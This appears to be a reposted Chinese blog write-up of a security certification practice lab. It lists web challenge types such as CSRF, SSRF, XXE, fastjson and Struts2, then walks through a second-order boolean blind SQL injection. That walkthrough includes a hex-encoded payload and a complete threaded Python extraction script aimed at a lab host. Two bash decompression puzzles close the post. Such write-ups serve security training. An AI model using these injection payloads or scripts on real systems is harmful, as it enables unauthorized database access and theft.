记某个认证小靶场
2022-8-12 15:15:41 Author: 珂技知识分享(查看原文) 阅读量:11 收藏

因为绝大部分非常简单,在我的公众号前期文章中就能找到答案,所以这里大部分题型都只给出题目,这些你会做还是不会做看题目基本就知道了。

CSRF之钓鱼修改管理员密码。

SSRF之dict协议操作redis写webshell。

XXE之java oob,excel xxe oob。

SQL注入之数字型,字符型,盲注,orderby注入,limit注入,宽字节注入,二次注入+报错注入,注入写webshell。

fastjson之1.2.24反序列化。

struts2之S2-052

ghostscript之CVE-2018-19475。

这其中唯一有点难度的是二次注入+布尔盲注。

一、二次注入+布尔盲注

首先它是个二次注入,注入点在注册用户的年龄选项中,如果你注册一个用户比如admin/18,登录之后会显示,登录成功,存在1个和你同龄的人(即你自己)。

再注册一个test/18,登录之后会显示,登录成功,存在2个和你同龄的人(admin和test)。

这个注入点还做过处理,只能通过hex注入,比如注册一个qqq/123'用户不行的。可以注册一个qqq/0x313827616E6420313D2731,登录之后会显示,登录成功,存在3个和你同龄的人。

因为0x313827616E6420313D2731即18'and 1='1。

如果注册www/0x313827(即18')用户会怎么样呢?依旧注册成功,但登录时会提示,错误。但没有mysql的报错信息。

也就是说,这是一个二次注入+布尔盲注的点,需要注册非常多的账号去爆破。而且与之前可以靠burp,sqlmap,手工注入不同,这一题必须要自写注入脚本才行,对于不常写SQL注入脚本的人来说,这关的难度非常大。

我们先要构造出一个可以判断user()的布尔盲注语句。

'and (case when ascii(substr((select flag from lession11.flag limit 0,1),1,1)) > 49 then 666 else exp(99999999end)='1

hex后如下。

0x27616e64202863617365207768656e20617363696928737562737472282873656c65637420666c61672066726f6d206c657373696f6e31312e666c6167206c696d697420302c31292c312c312929203e203439207468656e2036363620656c7365206578702839393939393939392920656e64293d2731

然后写出盲注脚本,这里我是改的几年前我刚学python时写的脚本。

#coding=UTF-8import requestsimport threadingimport binascii
url = 'http://2.2.2.2:57747/sqli11.php'header = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "keep-alive" }cookie = {"PHPSESSID":"djlqt7gufke48ivqpeskh6gso5"}payload = 'select flag from lession11.flag limit 0,1'
flag = 0user = 'sonomon'userp = 0
def char2hex(data): data = data.encode() output = binascii.hexlify(data) output = output.decode() return output
def boolsql(users): data = {"username":users,"passwd":users,"realname":"","age":""} r = requests.post(url,cookies=cookie,data=data,headers=header,allow_redirects=False) if '登录成功' in r.text: return 1 else: return 0 def sql(i,s): global userp userp = userp+1 users = user+str(userp) hexpayload1 = "'and (case when ascii(substr(length(("+payload+")),"+str(i)+",1)) > "+str(s)+" then 666 else exp(99999999) end)='1" hexpayload2 = "'and (case when ascii(substr(("+payload+"),"+str(i)+",1)) > "+str(s)+" then 666 else exp(99999999) end)='1" hexpayload3 = "0x"+char2hex(hexpayload1) hexpayload4 = "0x"+char2hex(hexpayload2) if flag == 0: data = {"age":hexpayload3,"username":users,"passwd":users,"realname":users} else: data = {"age":hexpayload4,"username":users,"passwd":users,"realname":users} r = requests.post(url,cookies=cookie,data=data,headers=header,allow_redirects=False) return boolsql(users)
ss = {}def search(a,b,i): global ss c = int((a+b)/2) text = sql(i,c) if (b-a) == 1 : ss[i]=chr(b) else: if text == 0 : a = a b = c search(a,b,i) else: a = c b = b search(a,b,i)
def thread(size): name = [] threads = 5 for ii in range(0,int(size/threads)+1): for i in range(ii*threads+1,ii*threads+1+threads): if i > size: break th = threading.Thread(target=search, args=(31,127,i)) name.append(th) th.start() for th in name: th.join()
ssl = ''sss = ''size = 5def length(): global ssl global sss global flag global size if flag == 0 : thread(size) for i in sorted(ss): ssl += ss[i] size = int(ssl.replace(chr(32),'')) print('length : '+ssl.replace(chr(32),'')) flag = 1 length() else: thread(size) for i in sorted(ss): sss += ss[i] print(sss)length()

最终效果如下。

二、Linux基础-bash第一题

还有两题比较有意思也比较简单的misc题。

提示如下。

下一关的解压密码保存在password目录下的某个文件中,而且据说密码中只包含了1个数字。

ls一下。

是一些linux命令行使用了的符号当作了文件名,其中其他都可以加上单引号或者双引号cat出来,只有-这个不行,不过可以cp。

三、Linux基础-bash第二题

存在一个flag.gz,解压后变成bzip,再解压还是bzip,需要不断解压多次,每次随机为两种压缩格式。就是一个套娃压缩文件,需要写bash脚本来进行解压。

str=`file flag`bzip="bzip"gzip="gzip"if [[ "$str" =~ $bzip ]]then    echo "$str"    `mv flag flag.bz2`    `bunzip2 flag.bz2`elif [[ "$str" =~ $gzip ]]then    echo "$str"    `mv flag flag.gz`    `gunzip flag.gz`else    echo "aaa"fi

sh 1.sh如果报错运行dpkg-reconfigure dash,选no

最后手动for循环一下for i in {1..300};do sh 1.sh;done

全部都是aaa之后获取正确flag


文章来源: http://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247485466&idx=1&sn=9ade3dc3c1f73c57d653169695d743b6&chksm=fa973575cde0bc630ff25395321a12bfb7956ada81bb97d097aa8424e56d2fb8c2f46d264294#rd
如有侵权请联系:admin#unsafe.sh